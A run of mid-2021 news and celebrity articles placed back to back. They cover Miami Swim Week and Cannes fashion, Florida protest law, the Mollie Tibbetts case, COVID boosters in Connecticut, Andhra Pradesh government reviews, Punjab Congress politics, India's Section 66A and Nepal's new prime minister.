Meanwhile Melissa became an international comedy star with an Oscar-nominated supporting performance in the 2011 film Bridesmaids.

Her upcoming films include the live-action remake of Disney's The Little Mermaid in which she will play the villainous 'sea-witch' Ursula.
Lucciana Beynon is too hot to handle.

The Venezuelan-Australian model, 19, sent jaws dropping at Miami Swim Week last Thursday as she strutted down the runway at the OMG Swimwear show.

She turned heads in a perilously high-cut swimsuit that showcased her statuesque figure to perfection.

Queen of the catwalk: Venezuelan-Australian model Lucciana Beynon sent jaws dropping at Miami Swim Week last Thursday as she strutted down the runway at the OMG Swimwear show

Sporting a fresh golden tan, the 'It girl' owned the catwalk as she sashayed towards the camera in diamond-encrusted stilettos.

Her racy one-piece highlighted her toned abs and lean legs, while a pearl necklace drew the eye to her ample cleavage.

Lucciana styled her raven locks in loose, tousled curls, and her makeup comprised glossy nude lipstick and winged eyeliner.

Would you dare to wear this? She turned heads in a perilously high-cut swimsuit that showcased her statuesque figure to perfection

Perfection: Her racy one-piece highlighted her toned abs and lean legs, while a pearl necklace drew the eye to her ample cleavage

That wasn't her only runway look, as she also slipped into a one-shoulder black swimsuit with elaborate cut-outs and G-string bottoms.

At one stage, she toted a bubble gun as she preened on the ocean-themed catwalk.

Lucciana's father is Australian tobacco tycoon Travers Beynon, who is known for his polyamorous lifestyle and wild parties at his Gold Coast mansion.

Racy: That wasn't her only runway look, as she also slipped into a one-shoulder black swimsuit with elaborate cut-outs and G-string bottoms

Hot to trot: She toted a bubble gun and handbag as she preened on the ocean-themed catwalk

The Kardashian lookalike previously spoke of her plans to relocate to the U.S. after finishing high school to focus on her modelling career.

She told The Gold Coast Bulletin in 2017: 'When I finish school I'll still be 17, so as soon as I turn 18, I'm going to move to America forever.'

'I want to become a Victoria's Secret Angel and then ultimately become a supermodel,' she added.

Lineage: Lucciana's father is Australian tobacco tycoon Travers Beynon, a.k.a. The Candyman, who is known for his polyamorous lifestyle and wild parties at his Gold Coast mansion

Wild times! Travers' notorious parties have featured a bevvy of scantily clad women, exotic animals, up to 1,200 guests and extravagant DJ set-ups

Lucciana, whose mother is Venezuelan former beauty queen Ninibeth Leal, has a contingency plan for when her modelling career eventually ends.

'Once my time is up, because you know modelling doesn't last forever, I'll get involved in the family business and invest in property,' she said.

She was recently linked to British social media star Max Wyatt, after they were pictured partying together in Miami.

Dreams: Lucciana, who looks like a long-lost Kardashian sister, previously spoke of her plans to relocate to the U.S. after finishing high school to focus on her modelling career
She's been pulling out all the stops during the 75th Cannes Film Festival.

And Lady Victoria Hervey looked sensational as she graced the red carpet in a glittering pink gown with a thigh high slit on Wednesday.

The 44-year-old socialite exposed a glimpse of her tanned and toned pins at the premiere of The Story of My Wife.

Wow! Lady Victoria Hervey looked sensational as she graced the red carpet in a glittering pink gown with a thigh high slit on Wednesday

Her gown was embellished with a silver webbed pattern and sparkly rhinestones on her corseted bodice.

The beauty elongated her long legs even further with stylish caged silver heels.

Her blonde locks were styled in loose curls and her glam make-up enhanced her flawless features.

She accessorised with silver moon shaped earrings and an elegant bracelet.

Injecting yet more colour, Victoria toted a small gold clutch bag that complemented her silver shoes.

Stunning: Her gown was embellished with a silver webbed pattern and sparkly rhinestones on her corseted bodice

The Story Of My Wife is an adaptation of Milan Fusts 1942 novel. The story is set in the 1920s and sees sea captain Jakob Storr makes a bet with a friend that he will marry the first woman who enters the cafe they are sat in - just as character Lizzy arrives, according to Variety.

The novel was first published in Hungary in 1942, but not translated into English until the late 1980s.

Lea Seydoux plays the lead role of Lizzy, however she has tested positive for Covid-19 and had to skip the festival.

The Blue is the Warmest Colour star, 36, got the virus on set of her new film despite having both doses of the vaccine and being asymptomatic.

Beautiful: The 44-year-old socialite exposed a glimpse of her tanned and toned pins at the premiere of The Story of My Wife

This comes after Victoria revealed earlier this year that she doesn't agree with wearing masks to prevent the spread of coronavirus.

'I'm not going to lie, I never wear one,' she told The Daily Mail, adding that she 'storms out' of any shops that ask her to put one on.

Even so, she went into business supplying PPE at the start of the pandemic but insisted that she isn't a hypocrite.

'I did a little bit of a pivot,' she said. 'But no, it doesn't! I was selling it to hospitals, not to people out walking their dogs or shopping.'

One to watch: The Story Of My Wife is an adaptation of Milan Fusts 1942 novel and stars Lea Seydoux (pictured) however she has tested positive for Covid-19 and has been forced to skip Cannes Film Festival while isolating

Asked if she would ever take the Covid vaccine, she scoffed: 'No way! It's a personal thing, and my mother's had hers, but at my age I really believe in natural immunity.'

She admitted that Project Baby had also influenced her thinking  as she has a prospective sperm donor/father lined up.

Six of her eggs were frozen and stored three years ago, at a cost of 11,000, and she spent the time afterwards looking for a donor.

Strike a pose: She accessorised with silver moon shaped earrings and an elegant bracelet as she posed up a storm on the red carpet

'I had a friend who was going to be my sperm donor. He was going to be involved in my child's life, but as a friend, not a partner,' she explained.

'And I was supposed to be pregnant now. But then Covid happened, which was a big blow, but looking back I'm really grateful I didn't do it with that person. He just wasn't right.'

Victoria revealed she has since found someone, but is keeping their identity secret.
She's one of Australia's best-dressed WAGs.

And Rebecca Judd proved her style credentials yet again on Wednesday night as she visited Melbourne's trendy Society Restaurant in a designer outfit worth more than $11,000.

The mother of four, 38, uploaded a photo to Instagram of herself posing for a mirror selfie in the women's bathroom, giving fans a glimpse of her all-black ensemble.

Expensive taste! Rebecca Judd, 38, proved her style credentials yet again on Wednesday night as she visited Melbourne's trendy Society Restaurant in a designer outfit worth more than $11,000 - including a classic Chanel bag worth $8,390 and $1,650 Fendi Boots

Rebecca stunned in a Dion Lee corset skirt worth $690, matched with a $99 Skin and Threads top, and a DIIDA jacket worth $399.

She completed her look with a classic leather Chanel bag worth $8,390 and a pair of $1,650 lace-up Fendi boots.

Before heading out, Rebecca had uploaded a video of herself strutting around her bedroom, preparing for what could be her last night out for some time.

Last hurrah! Before heading out for the night, Rebecca uploaded a video of herself strutting around her bedroom, preparing for what could be her last night out for some time

Thanks to the city's growing Covid-19 cluster, Melburnians are now faced with the possibility of yet another strict lockdown in the coming days.

'Dinner at @societyrestaurant tonight. Unbelievable! Well done to everyone involved. See my stories for more. Now Covid, get f%$t,' she captioned the video.

Rebecca also documented her extravagant night out on Instagram, filming herself indulging in caviar pretzels and martinis.

Luxury lover: The mother of four stunned in a Dion Lee corset skirt worth $690, matched with a $99 Skin and Threads top, and a DIIDA jacket worth $399

Bec then did a wide pan of the absolutely stunning venue which featured a number of large chandeliers.

'Caviar pretzels and martini,' Bec wrote under one of the clips.

She then called the restaurant 'outstanding' while showing her followers.

Delicious: Rebecca also documented her extravagant night out to Instagram, filming herself indulging in caviar pretzels and martinis

Lavish evening: The stunning restaurant has a number of rooms including the Society Dining Room, Lillian Terrace, The Lounge, and a Private Dining Room

The stunning restaurant has a number of rooms including the Society Dining Room, Lillian Terrace, The Lounge, and a Private Dining Room.

Bec made herself at home in the chic Lillian Terrace, writing: 'So many rooms, so many experiences.'

Bec is certainly no stranger to the good life thanks to the myriad businesses she owns alongside husband, Chris.

Power couple! Bec is certainly no stranger to the good life thanks to the myriad businesses she owns alongside husband, Chris

The couple co-own hugely popular activewear line Jaggad.

Along with her design responsibilities, Bec also has a slew of ambassador roles and earns thousands of dollars a week sharing sponsored posts with her 813,000 Instagram followers.

This is in addition to the money she earned during her decade-long TV and radio career, which included jobs at Channel Nine and KIIS FM.

Bec and Chris live in a spectacular Spanish colonial-style mansion in Melbourne, after buying it for $7.3million in March 2018.

The couple shares four children, son Oscar, daughter Billie, seven, and four-year-old twins Tom and Darcy.
Nacogdoches, TX (75965)

Today

Mostly clear skies during the evening giving way to clouds and a few showers after midnight. Low 76F. Winds light and variable. Chance of rain 30%..

Tonight

Mostly clear skies during the evening giving way to clouds and a few showers after midnight. Low 76F. Winds light and variable. Chance of rain 30%.
MIAMI (AP)  Some Black Lives Matters activists say a double standard is being used as people blocked busy roadways in Florida this week in support of antigovernment demonstrations in Cuba, with limited action taken by law enforcement despite a new law enhancing penalties against disruptions by protesters.

Gov. Ron DeSantis signed into Florida law a measure earlier this year that boosts penalties against demonstrators who turn violent and creates new criminal penalties for those who organize demonstrations that get out of hand. Provisions of the law also make it a felony to block some roadways and give immunity to people who drive through protesters blocking a road.

The bill was introduced after last summer's protests for racial justice during which some Black Lives Matter protesters were met by police with tear gas and arrests when they took to the streets for days at a time.

Demonstrators on Tuesday in Miami, Tampa and Orlando temporarily blocked busy roads, chanting support for the Cubans who had taken to the streets in the communist nation Sunday to air grievances about poor economic conditions and other issues.

When they protest for regime change, which aligns with the governors political viewpoint ... you see no enforcement from law enforcement, said Michael Sampson, who co-founded the Jacksonville Community Action Committee, one of many groups that sprung up under the banner of the Black Lives Matter movement.

I think its just downright hypocrisy were seeing from the governor, and even law enforcement in how theyre applying this law. It goes to show how our fears that we had earlier  that it will be used against Black people fighting for equal rights," he added.

On Wednesday, the ACLU of Florida filed a motion in federal court in Tallahassee to block the law immediately, asserting that it could criminalize peaceful protests and shield people who injure protesters in roadways from civil penalties, as well as cast a chilling effect on peaceable protests.

The ACLU had filed a lawsuit on behalf of several Black-led organizations in May seeking to overturn the new law on grounds it violates the First Amendment and targets certain racial justice advocacy groups.

During a visit to Miami on Tuesday, DeSantis said the demonstrations in South Florida were fundamentally different than what we saw last summer."

The governor's spokesperson, Christina Pushaw, took to her personal Twitter account Wednesday bashing the Left and aligned corporate media, asserting that they love authoritarianism.

Therefore, they are FURIOUS that the Governor of Florida didnt personally drive 500 miles down the state to arrest people for protesting (not rioting) against the communist regime in Cuba, she tweeted.

In an email to The Associated Press, Pushaw said the governor had signed the law to empower law enforcement to protect and serve the people of Florida.

The legislation protects First Amendment freedoms, while ensuring that law enforcement professionals are empowered to use their discretion to maintain public safety, Pushaw said. The Governor has always urged all Floridians exercising their right to protest, to make their voices heard peacefully and lawfully.

Pushaw pointed out that blocking roadways without a permit was illegal long before the new law, and law enforcement agencies around the state have discretion to enforce the law in a way to ensure public safety.

Waving Cuban flags, hundreds of protesters on Wednesday demonstrated at a busy intersection outside one of Miamis most famous Cuban restaurants, Versailles. Miami spokesman John Heffernan confirmed that the city approved a permit to close down five blocks along Calle Ocho in the Little Havana neighborhood Wednesday. Many of the protesters dispersed, though, when it started raining at the start of the demonstration.
While Connecticuts vaccination efforts are flagging, a once sought-after vaccine from Johnson & Johnson was hit with another setback this week as Pfizer forges ahead with plans for a booster of its widely used shot that some state health experts say may not be necessary.

The Johnson & Johnson vaccine, the only single-dose option, was seen early on as a powerful tool to reach those hesitant toward vaccines, but the U.S. Food and Drug Administration has amended its warning about the vaccine, saying a small number of people developed Guillain-Barre syndrome, a rare neurological disorder, within 42 days of receiving the shot.

The Connecticut Department of Public Health stresses that the benefits of receiving any of the available COVID vaccines far outweigh any side effects or other rare outcomes. The key to putting COVID behind us once and for all is vaccination, DPH said Tuesday in a statement regarding the new Johnson & Johnson vaccine warning.

Connecticuts use of Johnson & Johnson dropped substantially after federal regulators briefly paused its use in June while it reviewed whether the vaccine was connected with a rare blood-clotting disorder that led to several deaths.

The waning demand for the vaccine hit a high point last month when state officials said 75,000 doses were in storage and set to expire. The state had said there were no plans to order more from the federal government.

On Tuesday, the state reported a positivity rate for COVID-19 tests administered Saturday, Sunday and Monday crept up to 0.97 percent. Hospitalizations remained steady at 35 patients statewide.

While confidence in the safety of the Johnson & Johnson vaccines has waned, Pfizer and its German partner, BioNTech, seek to introduce a booster to its two-dose vaccine, which has been used to inoculate hundreds of thousands of Connecticut residents.

On Monday, U.S. regulators and scientists met with representatives from Pfizer to hear the companys case for booster shots, The New York Times reported. The Times reported people on the call said boosters, if approved, might go to residents of nursing homes, who were among the earliest recipients of vaccines.

While no decisions were made on whether a booster will get federal approval, top Connecticut health experts questioned if evidence supported the need.

There are two reasons to get a booster shot, said Dr. Ulysses Wu, system director of infectious diseases at Hartford Healthcare. One is whether or not our immunity holds from either natural COVID illness or from the vaccine itself, and No. 2, due to the presence of the variants.

He noted that Pfizer has two interests when it comes to promoting booster shots. The first is protecting public health, but they also have a business interest as well, Wu said in a phone interview Tuesday.

Wu said booster shots might be necessary, but theres not a lot of science to say that its going to make a difference.

He said the state will pivot depending on how the FDA and governor dictate, but what distinguishes Connecticut is its high vaccination rate.

Were doing better than a lot of other states, especially in the South, he said.

Some countries are already forging ahead with boosters. On Monday, Israel began administering third doses of the Pfizer-BioNTech vaccine to some people with compromised immune systems.

The latest figures from the Centers for Disease Control and Prevention show that 61.9 percent of all Connecticut residents were fully vaccinated.

Last week, Pfizer and BioNTech said early results from its booster shot trial showed people who received a third dose of its vaccine developed resistance to the wild type and beta variant of the disease five to 10 times higher than people who received two doses.

The companies claimed a third dose may be needed 6 to 12 months after individuals are fully vaccinated  because the vaccines efficacy wanes over time and to combat the rise of variants of the disease.

Based on the totality of the data they have to date, Pfizer and BioNTech believe that a third dose may be beneficial to maintain the highest levels of protection, the companies said in a joint statement.

We need clarity on this topic, said Dr. Rick Martinello, medical director of hospital epidemiology and infection control at Yale New Haven Hospital. He said data should be available in the next few months showing how long antibodies last in people who are vaccinated, and breakthrough cases in vaccinated people relative to the timing of when they got vaccinated.

Determining whether immunity in vaccinated people wanes over time can be difficult, he said, because the amount of disease circulating in the community can vary wildly.

Our risk, even if we're behaving exactly the same, our risk is very different this time of the year ... compared with where we were three months ago, he said.

The push for a booster comes as highly transmissible variants of the virus are circulating across the country and in Connecticut. In recent weeks, concern has fallen on the delta variant, first found in India and now spreading in Connecticut.

Pfizer and BioNTech said they have developed an updated version of their vaccine that targets the spike protein found in the delta variant, which now comprises a majority of U.S. cases.

Pfizer plans to ask the FDA for emergency-use authorization for a third dose in August, the Associated Press reported.

But U.S. regulators pushed back against the assumption that a third dose will be necessary.

Americans who have been fully vaccinated do not need a booster shot at this time, a joint statement from the Centers for Disease Control and Food and Drug Administration said.

The statement said regulators take into account data from pharmaceutical companies, but that is not the only information they consider.

We are prepared for booster doses if and when the science demonstrates that they are needed, the statement said.

Staff writer Jordan Fenster contributed to this story.
IOWA CITY, Iowa (AP)  A judge on Wednesday delayed sentencing for the man convicted of killing University of Iowa student Mollie Tibbetts after defense lawyers said they needed time to investigate new information pointing to other potential suspects.

Cristhian Bahena Rivera, 27, was scheduled to be sentenced to life in prison without parole Thursday before his lawyers revealed newly obtained information that they say might implicate a sex trafficking ring in her kidnapping and death.

Judge Joel Yates ruled Wednesday the sentencing would be delayed until after he holds hearings on the defense's requests to compel prosecutors to release information about other suspects and to order a new trial. Yates said he would hold the first hearing Thursday at the Poweshiek County Courthouse in Montezuma and set a later date for the hearing on a new trial.

Prosecutors argued in a court filing Wednesday that the new information cited by the defense isn't credible, is grossly inconsistent" with Bahena Rivera's testimony and would not have changed the trial's outcome.

The overwhelming amount of evidence points to the guilt of the defendant, they wrote.

A jury in May found Bahena Rivera guilty of first-degree murder in the stabbing death of Tibbetts, 20, who vanished while out for a run in her hometown of Brooklyn, Iowa, in July 2018.

Prosecutors built their case on surveillance video showing Bahena Rivera driving in the vicinity of where Tibbetts disappeared while jogging, on DNA evidence showing that her blood was found in his car's trunk, and on a partial confession in which Bahena Rivera led investigators to a remote cornfield where her body was found a month after she disappeared.

Bahena Rivera, a dairy farm worker, claimed publicly for the first time while testifying at his trial that two masked men were responsible for the killing and had forced him to drive them around and dispose of Tibbetts' body at gunpoint. A native of Mexico who illegally came to the U.S. as a teenager, he has been jailed since his 2018 arrest.

Defense lawyers Chad and Jennifer Frese requested a new trial last week, saying two witnesses recently came forward independently of one another to partially support Bahena Rivera's testimony. The witnesses told investigators that a 21-year-old man with a history of violence against women had claimed responsibility for killing Tibbetts.

One of the witnesses said the man told him while they were at a county jail that Tibbetts had been kidnapped and brought to a trap house used for sex trafficking before she was killed, according to Bahena Rivera's lawyers.

The man told the witness that the house was owned by a 50-year-old who was running the trafficking ring and decided to have Tibbetts killed after the publicity surrounding her disappearance got too big. The man allegedly said he and an associate followed through with a plan devised by the 50-year-old to stab Tibbetts and frame a Hispanic man for the death.

The Freses said they learned Tuesday about a criminal investigation that centered on a 50-year-old man who allegedly met one of his sex trafficking victims in May 2018 at a gas station in Brooklyn, Tibbetts' hometown of 1,700 people that is roughly 50 miles (80 kilometers) west of Iowa City.

The woman told investigators that the man lured her to a house in the nearby town of New Sharon, where she was repeatedly drugged, raped, and held against her will until August 2018, court records show. The woman said she sometimes would hear other women's voices in the home.

Law enforcement officials used the information to obtain a warrant to search the home days after they interviewed her in March 2019, but it had already been vacated by the 50-year-old man. They did not charge him, and Mahaska County's sheriff said recently the kidnapping and sex trafficking allegations were never substantiated.

Still, defense lawyers argue that prosecutors should have turned over details about the investigation under their duty to provide exculpatory information. They said the potential existence of the trap house corroborates the new witnesses' claims.

They are asking Yates to order the state to release information about prior sex trafficking investigations, including any involving the 21-year-old and 50-year-old. They noted that several other young people have gone missing from the area in recent years, calling that very troubling.

Prosecutors said they weren't required to share such information because there was no evidence Tibbetts had been sexually trafficked. They said the defense was notified of the new witnesses coming forward at the end of the trial, but declined to follow up on the information then because it didn't fit their case.

In court filings, the Freses noted that the 50-year-old man had come under scrutiny in the investigation into the disappearance of an 11-year-old boy, Xavior Harrelson. Xavior vanished from his trailer park in Montezuma on May 28, during closing arguments of the Bahena Rivera trial.

The defense filings noted the 50-year-old man is the former live-in boyfriend of Xavior's mother. Investigators searching for Xavior began looking for the man and arrested him on an unrelated outstanding warrant in another county the day after the boy was reported missing.

Federal authorities detained the 50-year-old man last week on charges of illegally possessing a sawed-off shotgun. He hasn't been charged in the boy's disappearance.
UNITED NATIONS (AP)  The U.N. special envoy for Colombia called on Colombian society Tuesday to use the 2016 peace agreement between the government and the countrys largest rebel group as an opportunity to address many longstanding issues that provoked recent protests and unrest.

Carlos Ruiz Massieu told the U.N. Security Council it is urgent that these issues be resolved, saying bold steps are needed to accelerate implementation of the peace deal in the coming months.

We continue to reject violence from any quarter and urge peaceful dialogue, he said. With a new electoral cycle quickly approaching, I invite the parties and all relevant actors to remain committed to the agreement and to continue prioritizing dialogue to resolve their differences.

The protests started April 28 over proposed tax increases on public services, fuel, wages and pensions, but it has morphed into a general demand for the government to pay longstanding debts to the most vulnerable in society, such as Indigenous and Afro Latino people. Even though the administration of President Ivan Duque withdrew the tax measure, protests continued and grew as reports emerged of police violence, deaths and disappearances.

Before the peace deal was signed with the Revolutionary Armed Forces of Colombia movement, known as the FARC, more than 50 years of war in Colombia caused over 220,000 deaths and displaced nearly 6 million people. An amnesty law was adopted covering most offenses committed by FARC fighters.

Ruiz stressed the possibilities that comprehensive implementation of the peace agreement offers to progressively tackle the root clauses of conflict, and he invited all parties to persist in fulfilling all of its provisions.

He called recent meetings between representatives of the government and former combatants to jointly assess implementation a step in the right direction, noting that they were called for by Duque and Rodrigo Londono, president of the Comunes Party formed by the now demobilized FARC.

Ruiz told council members that violence persists against former FARC members, social leaders and communities in the Montes de Maria region, which he recently visited, and other regions, including along the Pacific coast and in parts of the south and northeast of Colombia.

This is mainly related to the actions of illegal armed groups and criminal organizations who thrive in areas characterized by a limited presence of the state, poverty and illegal economies, he said.

Ruiz stressed that the persistent violence and stigmatization against former combatants and members of Comunes Party is particularly concerning, especially ahead of the 2022 elections, when they expect to engage actively in political work across the country.

Marta Lucia Ramirez, Colombia's vice president and its foreign minister, said that many of the homicides come from narco-trafficking and that so many killings of leaders were done by former FARC combatants.

She said a lot of people involved in the business of trafficking coca, cocaine and other narcotics must share responsibility and she urged the international community to work together to identify and eliminate all those who are part of the production, processing in different countries, and distribution.

Ramirez told the council it is important to acknowledge that progress has been made" in the five years since the peace agreement was signed.

It's not true that this recent violence that our country has suffered is the result of any breach of the agreement," she said.

Ramirez said the government is very sorry" for deaths during protests, which she blamed on minorities" who infiltrate the protests, some armed.

I want you to know that we have had 15,000 demonstrations, and only in about 11% has there been a need for the national police to intervene," she said.

Ramirez said deploying the armed forces and civil institutions throughout the entire country is the major overarching priority for the government."

The government believes in peace built by institutions, based on democracy and the division of powers and economic investments to create jobs, but unfortunately, there are some people who want to get to power by destroying the existing system that we have in Colombia," she said.

In Colombia, the country's human rights ombudsman said Tuesday that at least 44,000 people were forced to flee their homes in the first half of this year because of fighting between armed groups over drug trafficking routes and other illegal businesses in remote pockets of the countryside. That compared to 14,000 in the first six months of 2020.

The office said much of the forced displacement is happening in the southwestern department of Narino, where two criminal groups led by former guerrilla fighters are battling over the control of drug trafficking routes.

___

Associated Press writer Manuel Rueda in Bogota, Colombia, contributed to this report.
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The chief minister said six lakh women were benefited by sustainable livelihood efforts under YSR Cheyutha and YSR Aasara schemes this year. (PTI)

Vijayawada: Chief Minister Jaganmohan Reddy has announced that a committee with three ministers would be appointed for the effective implementation of Jagananna Saswatha Bhuraksha scheme. He advised officials to form these panels with ministers of municipal administration, panchayat raj and revenue departments.

Jagan held a review meeting on Panchayat Raj and rural development in the CM camp office at Tadepalli on Tuesday. He asked officials to construct village Secretariats, village clinics and digital libraries by year-end and render good service to people.

The CM also asked them to complete geo-tagging and review the progress of construction of those buildings. Start the works on infrastructure facilities in these colonies on apriority basis. Give importance to the cleanliness drive programme in the villages, he said.

The chief minister accorded permission for launch of 14,000 tricycles in villages and 1034 autos in urban areas.

While 23,747 green ambassadors and 4,482 green guards were on duty for door-to-door collection of garbage across the state, approval was given to recruit an additional 11,453 green ambassadors and 5,551 green guards.

It was decided to use heavy machinery for waste management. Some 9148 incinerators, 3,279 mist blowers, 3197 bush cutters, 3130 hypertension toilet cleaners, 165 portable thermal fogging machines and 157 shuddering machines were arranged, officials said.

Officials said PPE kits were distributed to all green ambassadors and green guards.

The CM asked officials to focus attention on maintenance of garbage collection vehicles and disposal of PPE kits. The solid and liquid waste management system in villages and towns should be implemented properly. A Clean Andhra Pradesh would be possible only if municipal and panchayat raj departments work hand-in-hand, he said.

Jagan asked officials to make arrangements for collection of wet wastage in rural areas and asked them to display a special number in villages for collection and shifting of garbage to treatment plants.

The chief minister said six lakh women were benefited by sustainable livelihood efforts under YSR Cheyutha and YSR Aasara schemes this year. He directed the officials to ensure there are no marketing problems to them. Sign contract with only such companies that have a wide range of marketing capabilities, he told officials.

Jagan said the YSR Jala Kala project will be helpful to lakhs of farmers. Officials must focus on effective implementation of the project.

The CM said, Construct check-dam type structures near bridges on small rivers across the state so that water can be stored upto 3-4 feet. These structures will help increase ground water level, he said and advised the officials to prepare an action plan.

The officials explained to the CM the progress of various works under the Rural Development department. While discussing on the Jagananna Pacha Thoranam, they said this was targeted to plant saplings in schools and hospitals as part of the Nadu Nedu scheme.

The officials also briefed the CM on the progress of YSR Bima, Jal Jeevan Mission and the progress of rural highways construction works.

Panchayat Raj and rural development minister PR Reddy, Panchayat Raj principal secretary Gopala Krishna Dwivedi, Panchayat Raj commissioner Girija Shankar, SERP CEO Raja Babu and Swacha Andhra Corporation MD Sampath Kumar were present.
Vijayawada: Chief Minister Y.S. Jagan Mohan Reddy has made a call to promote consumption of products like fish and shrimps to 12 lakh metric tonnes from the present 4.36 lakh mt per annum in the state and make them available at affordable prices to the people.

Chairing a high-level review meeting on fisheries, animal husbandry and dairy development, attended by fisheries minister Seediri Appala Raju and senior officials at his camp office here on Wednesday, the CM advised officials to set up aqua hubs and associated retail shops for this purpose.

He called for expediting the efforts to set up an aqua university and asked officials to acquire land for the purpose. He also asked them to check if insurance coverage can be provided to the aqua sector with support from the Centre.

The CM asked officials to give more publicity for integrated aqua labs so that aqua farmers could get best-quality seed and feed. "Create awareness on how to go about for quality check of aqua products," he said and felt the need to inaugurate all targeted 35 such labs by November. Only 14 were open at present.

The CM also called for an action plan to promote cage fish culture and mariculture so that farmers and entrepreneurs would earn good revenue. He asked officials to take up these as pilot projects at three places each, to start with.

The CM reviewed the progress in the setting up of seven fishing harbours and five fish land centres. Officials informed him that works started at five harbours and one fish land centre. He told them to take up the remaining too.

While reviewing animal husbandry, the chief minister called for an action plan to set up veterinary dispensaries with mandal as base unit. Come up with a mapping on dispensaries as per requirement."

The chief minister also called for a plan of action to provide basic infrastructure in veterinary dispensaries under the Nadu-Nadu programme.

On public health, the CM said the state is following a protocol with two PHCs, four doctors and two ambulances for a mandal and also promoting the family doctor concept. The same can be done for animal husbandry also, he said.

Officials informed the CM that the AP Amul project milk production in Prakasam, Kadapa, Chittoor, Guntur and West Godavari was overwhelming and promised to expand the project to Visakhapatnam and Anantapur districts by August.
VIJAYAWADA: The AP High Court on Wednesday issued non-bailable arrest warrant against two government officials in a contempt of court case and directed the Vijayawada police commissioner to execute them.

The two officials are former Krishna district collector A. Md. Imtiaz and DRDA project director M. Srinivas.

A petition was filed in the court, complaining about non-implementation of Jagananna Cheyutha scheme denying benefit to 20 eligible persons in Nandigama of Krishna district.

Advocate Prabhakar filed a petition in the court stating that even as the gram sabha accepted to implement the scheme, the officials failed to implement it. However, as the court was going to hear the contempt of court petition on Wednesday, the officials released the amount in the first phase on Tuesday night after a year. The court was furious and issued directions to serve NBWs on them.
New Delhi: The internal strife in the Punjab Congress intensified as poll strategist Prashant Kishor met Congress leader Rahul Gandhi and AICC general secretary Priyanka Gandhi Vadra on Tuesday. The meeting, which lasted for nearly two hours, was also attended by AICC general secretaries K.C. Venugopal and Harish Rawat. Mr Rawat is the partys in-charge for Punjab and Mr Kishor is also Punjab CM Amarinder Singhs political adviser.

The crisis in Punjab was precipitated after the public utterances of disgruntled Congress legislator Navjot Singh Sidhu against the partys state government and the chief minister. Sources said the meeting was to assess the position of the Congress in the state as Assembly elections are due early next year. The meeting assumes significance as the Congress is all set to announce a major decision on its Punjab crisis that will pave the way for the coming polls.

Mr Kishor has in the past also given constructive suggestions to the Congress leadership. In the 2017 Uttar Pradesh Assembly elections, he was managing the campaign for the Congress-Samajwadi Party alliance. Insiders claim that the Congress high command may once again rope him in to guide the party. After the Trinamul Congress victory in West Bengal, where he was assisting Ms Mamata Banerjee, Mr Kishor had publicly said he was looking for a future beyond his present role.

Rahul Gandhi and Priyanka Gandhi Vadra have met Navjot Singh Sidhu separately in recent weeks. After that, Capt. Amarinder Singh met party president Sonia Gandhi earlier this month to resolve the crisis facing the Congress in the state ahead of the Assembly elections. Capt. Amarinder Singh said after the meeting that they had discussed the development of Punjab and internal matters of the party, and that he would follow any decision taken by Mrs Gandhi. The high command has been trying to resolve the Punjab crisis for over a month now. Things have become difficult as Mr Sidhu has been going hammer and tongs on Twitter.

Interestingly, Mr Sidhus tirade against the members of his own party continued on Tuesday. In a series of tweets, he said that the Aam Aadmi Party (AAP) had always recognised his work and vision for Punjab. He further tweeted in Hindi targeting loyal Congressmen and the Opposition. His tweet said: If you go to the Aam Aadmi Party, then there is no issue, but if you stay in the Congress there will be an issue.

Several leaders and former Union ministers have thrown their weight behind the Punjab CM in the tussle between him and Mr Sidhu. Last week Lok Sabha MP from Anandpur Sahib Manish Tewari asked the Congress office-bearers to take note of the utterances of Mr Sidhu as Mr Sidhu has been speaking against the Congress state government and the chief minister. Insiders claim that Mr Sidhu is insistent on becoming the state unit chief while Capt. Amarinder Singh has demonstrated to the high command that he has the support and trust of a majority of party legislators but has left the final decision to Congress president Sonia Gandhi.
The Supreme Court early this month issued a notice to the Centre on the use of Section 66A of the IT Act and said that it was shocking that the judgment striking down the law has not been implemented even now. (DC file photo)

New Delhi: The Centre on Wednesday asked the states to direct their police not to register cases under the repealed Section 66A of the Information Technology Act, 2000 related to posting online comments.

The Supreme Court in 2015 had struck down the controversial Section 66A of the IT Act that made posting "offensive" comments online a crime punishable by jail, after a long campaign by defenders of free speech.

However, recently, the apex court had said that it was shocking that the judgment striking down the law has not been implemented even now.

The Ministry of Home Affairs (MHA) has requested states and Union Territories (UTs) to direct all police stations under their jurisdiction not to register cases under the repealed Section 66A of the Information Technology Act, 2000, a home ministry statement said.

The ministry said it has also asked the states and UTs to sensitise law enforcement agencies for the compliance of the order issued by the Supreme Court on March 24, 2015.

The MHA has also requested that if any case has been booked in states and UTs under section 66A of the IT Act, 2000, such cases should be immediately withdrawn.

The Supreme Court in its judgment on March 24, 2015 in the matter of Shreya Singhal Vs. Union of India had struck down Section 66A of the Information Technology Act, 2000. This made Section 66A of the Information Technology Act, 2000 null and void with effect from the date of the order and hence no action could be taken under this section.

The section of the law provides police power to arrest a person for posting "offensive" content online and provides for a three-year jail term.

The Supreme Court early this month issued a notice to the Centre on the use of Section 66A of the IT Act and said that it was shocking that the judgment striking down the law has not been implemented even now.
India and the US have congratulated Sher Bahadur Deuba on being appointed the prime minister of Nepal.

The 75-year-old veteran politician and Nepali Congress President, Deuba, on Tuesday formally became Nepal's prime minister for a record fifth time after the Supreme Court's intervention. The apex court on Monday overturned embattled Prime Minister K P Sharma Olis May 21 decision to dissolve the House of Representatives and ordered the appointment of Deuba as prime minister.

Indian Ambassador to Nepal, Vinay Mohan Kwatra, on Wednesday visited the residence of the newly-appointed prime minister to congratulate him.

"Honoured to call on @DeubaSherbdr; extended congratulations and best wishes on becoming PM of Nepal. Looking forward to working with his team to deepen the multifaceted India-Nepal partnership and people-to-people ties for common progress and prosperity," the Indian embassy here tweeted along with a photograph of the meeting between Kwatra and Deuba.

Honoured to call on @DeubaSherbdr; extended congratulations and best wishes on becoming PM of Nepal. Looking forward to working with his team to deepen the multifaceted India-Nepal partnership and people-to-people ties for common progress and prosperity.

@MEAIndia@PMOIndia pic.twitter.com/zKxzLJcG1C  IndiaInNepal (@IndiaInNepal) July 14, 2021

Nepal's foreign affairs ministry in a tweet said PM Deuba received Ambassador Kwatra at his residence in Budhanilakantha.

The prime minister thanked the envoy for the congratulations and best wishes and "recalled the age-old friendly relations between the two countries", it said.

